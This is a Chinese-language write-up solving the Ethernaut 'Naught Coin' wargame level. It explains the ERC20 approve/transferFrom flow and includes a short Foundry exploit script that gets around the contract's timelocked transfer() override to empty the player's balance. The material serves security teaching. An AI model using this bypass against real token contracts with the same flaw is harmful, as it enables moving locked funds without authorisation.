# Level 15 - Naught Coin ## 題目 [Naught Coin](https://ethernaut.openzeppelin.com/level/0x80934BE6B8B872B364b470Ca30EaAd8AEAC4f63F) ### 通關條件 NaughtCoin 是一種 ERC20 代幣,而且你已經持有這些代幣。問題是你只能在等待 10 年的鎖倉期之後才能轉移它們。你能不能嘗試將它們轉移到另一個地址,讓你可以自由地使用它們嗎?要完成這個關卡的話要讓你的帳戶餘額歸零。 ### 提示 - [ERC20 標準](https://github.com/ethereum/ercs/blob/master/ERCS/erc-20.md) - [OpenZeppelin 程式庫](https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts) ### 合約內容 ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint256 public timeLock = block.timestamp + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player; constructor(address _player) ERC20("NaughtCoin", "0x0") { player = _player; INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals())); // _totalSupply = INITIAL_SUPPLY; // _balances[player] = INITIAL_SUPPLY; _mint(player, INITIAL_SUPPLY); emit Transfer(address(0), player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) public override lockTokens returns (bool) { super.transfer(_to, _value); } // Prevent the initial owner from transferring tokens until the timelock has passed modifier lockTokens() { if (msg.sender == player) { require(block.timestamp > timeLock); _; } else { _; } } } ``` ## 解題 **ERC20** 就是在智能合約中實現發行 Fungible Token (同質化代幣) 的一種代幣標準。簡單來說只要符合 ERC20 中的規範,就可以在 Ethereum 創造自己的代幣並交易,ERC20 中規範發行代幣的合約必須要實現以下六個功能: 1. 總供給量:`function totalSupply() public view returns (uint256);` 一個代幣的總發行量 2. 帳戶餘額:`function balanceOf(address _owner) public view returns (uint256 balance)` 你剩多少代幣 3. 轉帳:`function transfer(address _to, uint256 _value) public returns (bool success)` 你要轉 `_value` 代幣給 `_to` 前三個比較好理解,後面三個比較像是託管的概念: 4. 授權轉帳:`function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)` 從 `_from` 轉 `_value` 個代幣到 `_to`,使用後**授權額度**會減少 5. 授權:`function approve(address _spender, uint256 _value) public returns (bool success)` 允許 `_spender` 可以控制你 `_value` 個代幣,使用後**授權額度**會增加 6. 授權額度:`function allowance(address _owner, address _spender) public view returns (uint256 remaining)` 回傳 `_spender` 可以控制 `_owner` 多少代幣 針對 ERC20,可以參考一下這些文章: - [What is the ERC20 token standard?](https://www.bitpanda.com/academy/en/lessons/what-is-the-erc20-token-standard/) - [到底什麼是ERC-20?](https://medium.com/myethacademy/%E5%88%B0%E5%BA%95%E4%BB%80%E9%BA%BC%E6%98%AFerc-20-49d052e8d290) - [WTF Solidity极简入门: 31. ERC20](https://github.com/AmazingAng/WTF-Solidity/tree/main/31_ERC20) --- 理解完 ERC20 後,看回來題目。題目要求我們把自己的代幣歸零,歸零的方法就是把代幣通通轉出去,轉出去可以透過**轉帳(transfer), 授權轉帳(transferFrom)** 兩種方式,但是`transfer()`已經被題目實作而且限制 10 年後才能領取。所以這裡我們只要使用**授權轉帳** 的方法就可以把自己的錢轉出去了。 **授權轉帳**在上一點介紹ERC20的時候有提到過,要先透過**授權**給別的地址,別的地址才可以控制我們的代幣,所以這題的攻擊流程如下: 1. **授權**給自己: `approve(address(wallet), 1000000 * (10**18))` 2. 使用**授權轉帳**把我們錢包的代幣轉回去關卡實例: `transferFrom(me, address(level15), 1000000 * (10**18)` ```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "forge-std/Script.sol"; import "../src/Ethernaut Challenge/15_NaughtCoin.sol"; contract ExploitScript is Script { NaughtCoin level15 = NaughtCoin(payable(your_challenge_address)); address wallet = your_wallet_address; // wallet address function run() external { vm.startBroadcast(); uint256 coin = level15.balanceOf(wallet); level15.approve(wallet, coin); level15.transferFrom(wallet, address(level15), coin); vm.stopBroadcast(); } } ```